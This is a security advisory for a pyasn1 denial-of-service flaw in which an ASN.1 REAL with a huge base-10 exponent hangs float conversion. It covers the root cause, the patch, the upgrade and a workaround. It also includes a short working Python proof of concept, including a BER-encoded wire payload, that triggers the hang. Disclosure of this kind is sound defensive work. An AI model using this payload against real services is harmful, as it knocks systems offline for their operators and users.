high · 7.5CVE-2026-59886Jul 21, 2026

CVE-2026-59886: pyasn1 Uncontrolled Resource Consumption in Real Float Conversion

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A tiny ASN.1 REAL value carrying a huge base-10 exponent can freeze or crash any Python process that decodes untrusted ASN.1 data and then prints, logs, or compares the result.

Packagepyasn1
Ecosystempip
Affected<= 0.6.3
Fixed in0.6.4

The problem

pyasn1's `univ.Real.__float__()` converted base-10 REAL values by computing `mantissa * (10 ** exponent)` using Python's arbitrary-precision integer arithmetic. An exponent encoded in just a few BER bytes can be astronomically large (e.g. 2^31), forcing Python to attempt to materialize a number with billions of digits.

Any downstream operation that triggers float conversion is affected: `str()`, `prettyPrint()`, comparisons, arithmetic, and explicit `float()` calls. Applications that decode untrusted ASN.1 data and then log or compare decoded objects are exposed to denial of service.

Decoding alone does not trigger the hang.

Proof of concept

A working proof-of-concept for CVE-2026-59886 in pyasn1, with the exact payload below.

python
from pyasn1.type.univ import Real
from pyasn1.codec.ber import decoder, encoder

# Construct a Real with base 10 and a giant exponent.
# The (mantissa, base, exponent) triple is stored as-is during decode;
# the hang occurs the moment float conversion is triggered.
bomb = Real((1, 10, 2**31))   # represents 1 * 10^2147483648

# Any of the following lines will hang the process on pyasn1 <= 0.63:
print(bomb)          # calls prettyPrint() -> __float__()
float(bomb)          # direct conversion
bomb == 0            # comparison -> __float__()

# Can also be delivered as a BER-encoded wire payload:
raw = encoder.encode(Real((1, 10, 65535)))
asn1_obj, _ = decoder.decode(raw)  # decode is safe
float(asn1_obj)                    # THIS hangs

The root cause (CWE-400) is that Python's `int` exponentiation has no upper-bound guard. Computing `10 ** 2147483648` allocates roughly 900 MB of memory and runs for minutes before the OS kills the process, all triggered by a 6-byte encoded value.

The patch (commit e60c691) replaces the naive exponentiation path with `math.ldexp()` for base-2 values and adds an explicit range check for base-10 values before any big-integer math is attempted. Exponents outside the representable float range now raise `OverflowError` immediately, with no large integer ever constructed.

The fix

Upgrade to pyasn1 0.6.4. As a workaround, inspect the raw `(mantissa, base, exponent)` tuple directly (e.g. `tuple(decoded_real)`) instead of calling `float()`, `str()`, or `prettyPrint()` on decoded Real objects from untrusted sources.

Reported by gvozdila.

References: [1][2][3][4][5]

Related research